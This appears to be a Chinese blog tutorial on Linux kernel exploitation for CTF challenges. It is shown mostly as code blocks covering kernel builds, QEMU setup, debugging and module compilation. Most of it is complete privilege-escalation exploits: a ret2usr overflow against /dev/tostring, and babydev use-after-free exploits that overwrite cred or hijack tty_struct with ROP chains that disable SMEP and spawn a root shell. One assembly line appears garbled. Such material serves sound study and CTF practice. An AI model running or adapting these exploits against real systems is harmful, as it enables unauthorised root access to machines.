Kernel Pwn: 从入门到入土

1
2

Decompressing Linux... done
Booting the kernel.

1
2

$ find . | cpio -o --format=newc > initramfs.cpio # compress
$ sudo cpio -idmv < initramfs.cpio # depress

1
2
3

$ mv initramfs.cpio initramfs.cpio.gz
$ gunzip initramfs.cpio.gz	# 解压得到initramfs.cpio
$ cpio -idmv < initramfs.cpio

1
2
3
4
5
6
7
8

$ wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.4.72.tar.xz # get link from kernel.org
$ xz -d -v linux-5.4.72.tar.xz
$ tar xvf linux-5.4.72.tar
$ cd linux-5.4.72
$ cp -v /boot/config-$(uname -r) .config
$ sudo apt-get install build-essential libncurses-dev bison flex libssl-dev libelf-dev
$ make menuconfig # optional, 此项设置好之后除非必要，尽量不要改动，否则会完全的重新编译
$ make # make -j $(nproc)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

-m 指定内存大小
-nographic 没有图形界面，同时影响串并口
-kernel 指定启动内核
-machine 选择模拟的机器 -machine help显示所有
    -accel 选择加速，有kvm、xen等等
-append 添加内核启动选项
-monitor 重定向monitor到主机设备，图形模式默认到vc，非图形模式默认到stdio
-fsdev 定义一个新的文件系统设备
    与-device virtio-9t-同用
    -device virtio-9p-type,fsdev=id,mount_tag=mount_tag
-enable-kvm 启用kvm全虚拟化支持
-initrd 将文件用作起始ram disk
-hda/b/c/d 将文件用作硬盘0/1/2/3
-snapshot 写入临时文件，而不是映像文件。（可以强制写回

1
2
3
4

$ lsmod # 查看加载的模块
$ cat /sys/module/basic1_ch1/sections/.text # 依次获取.text .bss .data加载地址
(gdb)$ target remote :1234 # 连接到本地调试端口
(gdb)$ add-symbol-file ./tostring.ko 0xc3827000 -s .bss 0xc3827600 -s .data 0xc3827360 # 在gdb中加载符号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#!/usr/bin/env python3
from pwn import *
import os

prompt = "$ "

def upload(name):
    io.sendlineafter(prompt, "stty -echo")    # 关闭回显
    os.system("gcc -static -m32 -O2 ./{}.c -o {}".format(name, name)) # 普通gcc编译。musl-gcc编译32bit出错
    os.system("gzip -c {} > {}.gz".format(name, name))

    with open("{}.gz".format(name), "rb") as f:
        content = f.read()
    
    print("len: %d" % len(content))
    encoded = base64.b64encode(content)
    print("len: %d" % len(encoded))
    for i in range(0, len(encoded), 1000):    # 文件过大会出现上传不完整，后来改成1000就可以
        io.sendline("echo \"{}\" >> {}.gz.b64".format(encoded[i:i+1000].decode("ascii"), name) )
    
    io.sendlineafter(prompt, "base64 -d {}.gz.b64 > {}.gz".format(name, name))
    io.sendlineafter(prompt, "gunzip {}.gz".format(name))
    io.sendlineafter(prompt, "chmod +x {}".format(name))
    io.sendlineafter(prompt, "./{}".format(name))
    io.interactive()
    

io = process("./._start_vm", shell=True)
upload("poc")

# session = ssh(USER, HOST, PORT, PW) # ssh连接的情况
# io = session.run("/bin/sh")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

ENTRY(entry_SYSCALL_64)
 /* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */
 SWAPGS_UNSAFE_STACK
   
 /* 保存栈值，并设置内核栈 */
 movq %rsp, PER_CPU_VAR(rsp_scratch)
 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
   
   
/* 通过push保存寄存器值，形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq  $__USER_DS      /* pt_regs->ss */
pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
pushq  %r11             /* pt_regs->flags */
pushq  $__USER_CS      /* pt_regs->cs */
pushq  %rcx             /* pt_regs->ip */
pushq  %rax             /* pt_regs->orig_ax */
pushq  %rdi             /* pt_regs->di */
pushq  %rsi             /* pt_regs->si */
pushq  %rdx             /* pt_regs->dx */
pushq  %rcx tuichu    /* pt_regs->cx */
pushq  $-ENOSYS        /* pt_regs->ax */
pushq  %r8              /* pt_regs->r8 */
pushq  %r9              /* pt_regs->r9 */
pushq  %r10             /* pt_regs->r10 */
pushq  %r11             /* pt_regs->r11 */
sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */

1

$ sudo grep commit_creds /proc/kallsyms

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
} __randomize_layout;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

#!/bin/sh

# 挂载 devtmpfs 类型的文件系统，设备名设置为 none，挂载目录为 /dev
# devtmpfs 的功用是在 Linux 核心启动早期建立一个初步的 /dev，
# 令一般启动程序不用等待 udev，缩短 GNU/Linux 的开机时间。[4]
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
# 挂载与主机共享的文件夹
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
# 安装漏洞模块
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring 
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
umount /dev
 
poweroff -f

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

struct trap_frame {
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));

struct trap_frame tf;

void getshell(void)
{
    execl("/bin/sh", "sh", NULL);
}

void init_tf_work(void)
{
    asm(
        "pushl %cs;popl tf+4;"
        "pushfl;popl tf+8;"
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;"
    );
    tf.eip = &getshell;
    tf.esp -= 1024;
}

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc10711f0;
void* (*commit_creds)(void *) KERNCALL = (void *)0xc1070e80;
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm(
        "mov $tf, %esp;"
        "iret;"
    );
}

int main(void)
{
    char recv[255];
    char padding[9] = "AAAAAAAA";
    char eip[5];
    init_tf_work();
    int fd = open("/dev/tostring", O_RDWR);
    for (int i = 0; i < 0x40; ++i) {
        write(fd, padding, sizeof(padding)-1);
    }
    *((void**)(eip)) = &payload;
    write(fd, eip, sizeof(eip)-1);
    read(fd, recv, 255);
    return 0;
}

1

int ioctl(int fd, unsigned long request, ...);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main()
{
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    pid_t pid;

    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);

    if ((pid = fork()) == 0) {
        char zero[36] = {0};
        write(fd2, zero, sizeof(zero));
        if (getuid() == 0) {
            system("/bin/sh");
            exit(0);
        }
    }
    else if (pid > 0)  {
        wait(NULL);
    }
    else {
        printf("Fork failed!\n");
    }
    close(fd2);

    return 0;
}

1
2
3

$ ./extract-vmlinux bzImage > vmlinux
$ ROPgadget --binary vmlinux > gadgets
$ ROPgadget --binary vmlinux --opcode 48cf  # search for iretq

1
2
3
4
5
6

1. 两次打开/dev/babydev设备，ioctl该设备buf为0x2e0   # sizeof(struct tty_struct) = 0x2e0
2. 在tty_operations上布置rop
3. 关闭一个babydev，会将buf释放一次，造成UAF
4. open("/dev/ptmx", O_RDWR|O_NOCTTY)将使用刚释放的0x2e0空间存储tty_struct
5. 改写tty_struct
6. write触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>

struct trap_frame {
    uint64_t rip;
    uint64_t cs;
    uint64_t rflags;
    uint64_t rsp;
    uint64_t ss;
};
struct trap_frame tf;

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void *) KERNCALL = (void *)0xffffffff810a1810;
int (*commit_creds)(void *) KERNCALL = (void *)0xffffffff810a1420;

void save_status()
{
    asm(
        "mov %cs, tf+8;"
        "pushfq; popq tf+16;"
        "mov %rsp, tf+24;"
        "mov %ss, tf+32;"
    );
    puts("Status saved!");
}

void get_shell()
{
    system("/bin/sh");
}

int get_root()        // 如果不加返回值，这个函数会被编译成不返回
{
    commit_creds(prepare_kernel_cred(0));
    return 0;
}

int main()
{
    save_status();

    uint64_t fake_tty_operations[30];
    uint64_t fake_tty[4] = {0};
    uint64_t rop[30] = {
        0xffffffff810d238d,         // pop rdi ; ret 关闭SMEP
        0x6f0,
        0xffffffff81004d80,         // mov cr4, rdi ; pop rbp ; ret
        0,
        get_root,
        0xffffffff81063694,         // swapgs ; pop rbp ; ret
        0,
        0xffffffff814ee0a4,         // opcode: 48 cf iretq
    };
    tf.rip = get_shell;
    *(struct trap_frame*)(&rop[8]) = tf;

    for (int i = 0; i < 30; ++i) {
        fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;            
        // 0xFFFFFFFF8181BFC5 : rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e 
        // 0xffffffff8181bf7e: ret
        // 这个gadget，ROPgadget搜索结果错误，详见ERROR节
    }
    fake_tty_operations[0] = 0xffffffff8100ce6e;                // pop rax; ret
    fake_tty_operations[1] = rop;
    fake_tty_operations[2] = 0xFFFFFFFF8181BFC5;                
    // 0xFFFFFFFF8181BFC5 : rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e 
    // 0xffffffff8181bf7e: ret

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    int fd_tty = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    read(fd2, fake_tty, 32);
    fake_tty[3] = fake_tty_operations;
    write(fd2, fake_tty, 32);

    char buf[8] = {0};
    write(fd_tty, buf, 8);

    return 0;
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/ioctl.h>

struct trap_frame {
    uint64_t rip;
    uint64_t cs;
    uint64_t rflag;
    uint64_t rsp;
    uint64_t ss;
};
struct trap_frame tf;

struct tty_operations {
    struct tty_struct *(*lookup) (struct tty_driver * driver,
				  struct file * filp, int idx);
    int (*install)(struct tty_driver * driver, struct tty_struct * tty);
    void (*remove)(struct tty_driver * driver, struct tty_struct * tty);
    int (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct * tty);
    void (*cleanup)(struct tty_struct * tty);
    int (*write)(struct tty_struct * tty,
		 const unsigned char *buf, int count);
    int (*put_char)(struct tty_struct * tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct * tty);
    int (*write_room)(struct tty_struct * tty);
    int (*chars_in_buffer)(struct tty_struct * tty);
    int (*ioctl)(struct tty_struct * tty,
		 unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct * tty,
			 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct * tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct * tty);
    void (*start)(struct tty_struct * tty);
    void (*hangup)(struct tty_struct * tty);
    int (*break_ctl)(struct tty_struct * tty, int state);
    void (*flush_buffer)(struct tty_struct * tty);
    void (*set_ldisc)(struct tty_struct * tty);
    void (*wait_until_sent)(struct tty_struct * tty, int timeout);
    void (*send_xchar)(struct tty_struct * tty, char ch);
    int (*tiocmget)(struct tty_struct * tty);
    int (*tiocmset)(struct tty_struct * tty,
		    unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct * tty, struct winsize * ws);
    int (*set_termiox)(struct tty_struct * tty, struct termiox * tnew);
    int (*get_icount)(struct tty_struct * tty,
		      struct serial_icounter_struct * icount);
    const struct file_operations *proc_fops;
};

#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void *) KERNCALL = (void *)0xffffffff810a1810;
int (*commit_creds)(void *) KERNCALL = (void *)0xffffffff810a1420;

uint64_t xchgeaxesp = 0xffffffff810e81e8;         // 0xffffffff810e81e8 : xchg eax, esp ; ret

void save_status()
{
    asm(
        "mov %cs, tf+8;"
        "pushfq; popq tf+16;"
        "mov %rsp, tf+24;"
        "mov %ss, tf+32;"
    );
    // puts("status saved!");
}

void get_shell()
{
    system("/bin/sh");
}

int get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
    return 0;
}

int main()
{
    save_status();

    uint64_t rop[30] = {
        0xffffffff810d238d,         // pop rdi ; ret
        0x6f0,
        0xffffffff81004d80,         // mov cr4, rdi ; pop rbp ; ret
        0,
        get_root,
        0xffffffff81063694,         // swapgs ; pop rbp ; ret
        0,
        0xffffffff814ee0a4,         // opcode: 48 cf iretq
    };
    tf.rip = get_shell;
    *(struct trap_frame*)(&rop[8]) = tf;

    uint64_t base  = xchgeaxesp & 0xfffff000;
    mmap(base, 0x3000, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(xchgeaxesp&0xffffffff, rop, sizeof(rop));

    struct tty_operations tty_ops = {0};
    tty_ops.ioctl = xchgeaxesp;
    uint64_t fake_tty[4] = {0};

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    read(fd2, fake_tty, 32);
    fake_tty[3] = &tty_ops;
    write(fd2, fake_tty, 32);

    ioctl(fd_tty, 0, 0);   

    return 0;
}

1
2
3
4
5
6
7

pwndbg> x/4i 0xffffffff8181bfc5
   0xffffffff8181bfc5:	mov    rsp,rax
   0xffffffff8181bfc8:	dec    ebx
   0xffffffff8181bfca:	jmp    0xffffffff8181bf7e
   0xffffffff8181bfcc:	nop    DWORD PTR [rax+0x0]
pwndbg> x/hx 0xffffffff8181bfca
0xffffffff8181bfca:	0xb2eb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

$ bzip2 -d -v busybox-1.32.0.tar.bz2
$ tar xvf busybox-1.32.0.tar
$ cd busybox-1.32.0
$ make menuconfig    # 进入setting，勾上Build static binary(no shared libs)
$ make install -j4   # 4是编译线程数，根据情况改
$ cd _install
$ mkdir proc sys
$ touch init pack
$ chmod +x init
$ chmod +x pack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko # load ko
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root

1
2
3

#!/bin/sh
echo "Generate rootfs.img"
find . | cpio -o --format=newc > ./rootfs.cpio

1
2
3

$ mkdir test_module
$ cd test_module
$ touch hello.c Makefile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
#include <linux/tty.h>

MODULE_LICENSE("Dual BSD/GPL");

struct cred c1;
struct tty_struct t1;

static int hello_init(void)
{
    printk("<1> Hello world!\n");
    printk("<1> sizeof cred: 0x%lx \n", sizeof(c1));
    printk("<1> sizeof tty_struct: 0x%lx", sizeof(t1));
    return 0;
}

static void hello_exit(void)
{
    printk("<1> Bye, cruel world\n");
}

module_init(hello_init);
module_exit(hello_exit);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

obj-m := hello.o

KERNELDR := /home/liu/src/kernel/linux-5.4.72

PWD := $(shell pwd)

modules:
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules

modules_install:
	$(MAKE) -C $(KERNELDR) M-$(PWD) modules_install

clean:
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

#!/bin/sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram oops=panic panic=1 kalsr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-monitor /dev/null \
--nographic \
-smp cores=2,threads=1 \
-cpu kvm64,+smep \
#-gdb tcp::1234 \
#-S